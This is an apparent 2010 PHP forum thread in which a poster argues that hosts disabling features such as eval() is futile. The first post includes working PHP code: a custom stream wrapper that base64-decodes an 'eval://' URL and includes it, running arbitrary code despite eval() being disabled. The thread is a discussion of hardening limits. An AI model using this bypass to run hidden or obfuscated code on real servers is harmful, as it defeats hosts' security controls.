Ravens PHP Scripts: Forums
 

 

View next topic
View previous topic
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Other - Discussion
Author Message
djmaze
Subject Matter Expert



Joined: May 15, 2004
Posts: 727
Location: http://tinyurl.com/5z8dmv

PostPosted: Sat Feb 13, 2010 3:42 pm Reply with quote

So you can disable stuff in PHP and many hosts just do that because they think it's safe.
Guess what: it's not!

First there was safe_mode but it still allowed you to upload files and... After saving you couldn't delete the files anymore which makes it a bigger security hole.
It finally is gone in PHP v6

Then there is allow_url_fopen=false which disables include/require/fopen to open uri's. I proved you can work around this using your own stream wrapper.

You ever heard of suhosin and suphp?
Well if you do, you may know you can disable the eval() language construct.
It's a shame you can workaround this as well using a stream wrapper.
Just create a wrapper class and then include!
Code:
class eval_stream

{
   private $data = '';
   private $datapos = 0;
   private $datalen = 0;
   private $options;

   # bool stream_open ( string path, string mode, int options, string opened_path )
   public function stream_open($path, $mode, $options, $opened_path)
   {
      if (!preg_match('#^[a-z\-+]+://([0-9a-zA-Z\+/=]+)#', $path, $match)) { return false; }
      $this->data = base64_decode($match[1]);
      $this->datalen = strlen($this->data);
      $this->options = $options;
      return true;
   }
   public function stream_close() { }
   public function stream_eof() { return $this->datapos>=$this->datalen; }
   public function stream_read($bytes)
   {
      if ($this->stream_eof()) { return ''; }
      $r = substr($this->data, $this->datapos, $bytes);
      $this->datapos += strlen($r);
      return $r;
   }
   public function stream_write($data) { return 0; }
   public function stream_stat() { return false; }
   public function url_stat($path, $flags) { return false; }
   private function error($msg)
   {
      if ($this->options & STREAM_REPORT_ERRORS) { trigger_error($msg, E_USER_WARNING); }
      return false;
   }
}

stream_wrapper_register('eval', 'eval_stream');
include('eval://'.base64_encode('<?php var_dump($_SERVER); ?>'));


More and more workarounds will appear when scared incapable hosts keep disabling stuff.
What does that say at the end?

The death of a great language?

What are your thoughts?

_________________
$ mount /dev/spoon /eat/fun auto,overclock 0 1
ERROR: there is no spoon [ Only registered users can see links on this board! Get registered or login! ] 
View user's profile Send private message Visit poster's website
Raven
Site Admin/Owner



Joined: Aug 27, 2002
Posts: 17088

PostPosted: Sat Feb 13, 2010 5:09 pm Reply with quote

DJMaze wrote:
The death of a great language?

Never! Twisted Evil

DJMaze wrote:
More and more workarounds will appear when scared incapable hosts keep disabling stuff.
What does that say at the end?

Hosts need to be smarter Wink. And I believe many are getting smarter. However, you are making a very good point. Vigilance (maybe even hyper-vigilance?) is required on the part of the user. However, this probably won't be near enough as Windows has been around much longer than PHP and Windows is still being (cr/h)acked.

There are different ways of getting around eval() as are pointed out HERE. But that's not the point you're trying to make. My thoughts, basically, are that (cr/h)acking will continue, as well as work-arounds, long after my demise Wink, so I will continue as long as I can to slay those windmills!
 
View user's profile Send private message
Display posts from previous:       
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Other - Discussion

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You can attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2007 phpBB Group
All times are GMT - 6 Hours
 
Forums ©